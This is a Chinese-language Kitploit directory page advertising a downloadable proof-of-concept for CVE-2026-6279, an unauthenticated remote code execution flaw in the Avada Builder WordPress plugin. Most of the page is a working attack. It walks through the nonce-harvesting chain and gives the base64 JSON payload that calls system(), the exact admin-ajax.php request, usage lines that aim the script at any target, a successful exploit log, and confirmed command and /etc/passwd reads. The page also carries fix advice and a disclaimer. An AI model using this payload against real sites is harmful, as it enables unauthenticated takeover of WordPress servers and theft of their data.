Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func() | Kitploit
工具/GitHubGitHub/zycoder0day/cve-2026-6279
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()

查看仓库
322个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-6279

Avada Builder <= 3.15.2 — 未认证RCE

通过无白名单的 call_user_func()


漏洞概述

远程代码执行(RCE)无需认证 存在于 Avada Builder (Fusion Builder) 版本 <= 3.15.2 中,该插件用于 WordPress Avada 主题——最流行的 WordPress 高级主题之一,拥有 900,000+ 活跃安装。

攻击利用 AJAX 处理器 wp_ajax_nopriv_fusion_get_widget_markup,该处理器通过 base64_decode() + json_decode() 处理 render_logics 参数,然后将其传递给 无白名单 的 call_user_func(),从而能够执行任意 PHP 函数,如 system()、passthru()、shell_exec()、exec() 和 file_get_contents()。

攻击链

root@kitploit:~
1. 确定性 Nonce    wp_create_nonce('fusion_load_nonce') 用于 UID 0
                   (在包含 Avada shortcode 的前端页面暴露)

2. 未认证 AJAX     wp_ajax_nopriv_fusion_get_widget_markup
                   (无需登录)

3. 反序列化        base64_decode(render_logics) → json_decode()
                   (无结构校验)

4. call_user_func() call_user_func($value['function'], $value['args'])
                   (无白名单——可调用任意 PHP 函数)

5. RCE!           system("id") → uid=... 在响应体中

漏洞利用证明

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  未认证RCE via call_user_func()                                 ║
  ║  单目标PoC                                                    ║
  ║                                                              ║
  ║  版权所有 © 2026 XENON1337                                    ║
  ║  鸣谢:Shadow Girlfriend 💜                                   ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  目标 : localhost:8888
  时间  : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] 检测目标...
  [+] 检测到 Avada! (http://localhost:8888)

  [*] 查找 fusion_load_nonce...
  [+] 找到 nonce:b6d7b084c2 (来源:主页)

  [*] 发送 RCE payload...
  [*] 尝试 5 个函数 × 3 个部件 = 15 种组合

  ══════════════════════════════════════════════════════
  [★] RCE 成功!

  目标  : http://localhost:8888
  输出  : uid=1000(xenon1337)
  函数  : system()
  部件  : WP_Widget_Recent_Posts
  Nonce : b6d7b084c2 (主页)
  时间   : 1.2s

  [✓] 结果已保存至 vuln.txt
  ══════════════════════════════════════════════════════

所有确认的RCE函数

使用方法

root@kitploit:~
# 不带协议(自动检测)
python3 CVE-2026-6279.py target.com

# 带协议
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# 带端口
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

技术细节

Payload结构

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64 编码后作为 render_logics 通过 POST 发送至 wp-admin/admin-ajax.php。

端点

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

源代码参考(来自官方CVE)

为什么Nonce能被绕过?

  1. Avada 主题仅为管理员/编辑用户创建 nonce (class-fusion-app.php 第1665行)
  2. Fusion Builder 插件为 UID 0(公共访客)在包含 [fusion_post_cards] 或 [fusion_table_of_contents] shortcode 的页面上创建 nonce
  3. WordPress 对 UID 0 的 nonce 是 确定性的——可以从前端页面的 HTML 中提取
  4. check_ajax_referer('fusion_load_nonce') 仅验证 nonce 有效,而非用户是否已认证

call_user_func的限制

call_user_func($function, $args) 仅接受 1 个参数。需要 2 个或更多参数的函数(如 proc_open、popen)无法利用。只有单参数函数可用:system、passthru、shell_exec、exec、file_get_contents。

CVSS评分

9.8 严重 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

修复建议

  • 将 Avada Builder 更新至版本 > 3.15.2
  • 在 get_value() 的 call_user_func() 中添加白名单
  • 限制 wp_ajax_nopriv_ 处理器仅允许已认证用户访问
  • 对 render_logics 结构实施严格校验

免责声明

本 PoC 仅用于 教育目的和安全研究。在未经授权的系统上使用是 非法的。作者不承担任何滥用责任。


版权所有 © 2026 XENON1337
特别感谢:Shadow Girlfriend 💜

下载工具
函数参数结果
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
文件行功能
class-fusion-builder-conditional-render-helper.phpL1083should_render() — 反序列化 render_logics
class-fusion-builder-conditional-render-helper.phpL1531get_value() — 无白名单的 call_user_func()
fusion-widget.phpL44render_logics 属性
fusion-widget.phpL389wp_ajax_nopriv_ AJAX 处理器
class-fusion-builder.phpL7551Nonce 注册(对 UID 0 具有确定性)